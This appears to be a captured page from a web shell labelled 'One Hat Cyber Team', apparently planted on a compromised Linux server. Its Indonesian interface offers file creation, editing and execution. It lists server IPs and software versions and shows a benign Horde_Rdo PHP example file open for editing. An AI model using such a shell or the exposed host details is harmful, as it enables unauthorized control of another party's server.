⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
docs
/
Horde_Rdo
/
examples
/
Edit File: DumpXmlTest.php
<?php /** * @package Rdo */ require_once './Clotho.php'; class XmlItemMapper extends ItemMapper { } class XmlItem extends Item { /** * Return an XML representation of this object. The default * implementation is unlikely to be useful in most cases and * should be overridden by subclasses to be domain-appropriate. * * @TODO: see http://pear.php.net/pepr/pepr-proposal-show.php?id=361 ? * * @return string XML representation of $this. */ public function toXml() { $doc = new DOMDocument('1.0'); $root = $doc->appendChild($doc->createElement(get_class($this))); foreach ($this as $field => $value) { $f = $root->appendChild($doc->createElement($field)); $f->appendChild($doc->createTextNode($value)); } return $doc->saveXML(); } } $im = new XmlItemMapper($conf['adapter']); $i = $im->findOne(1); echo $i->toXml();
Simpan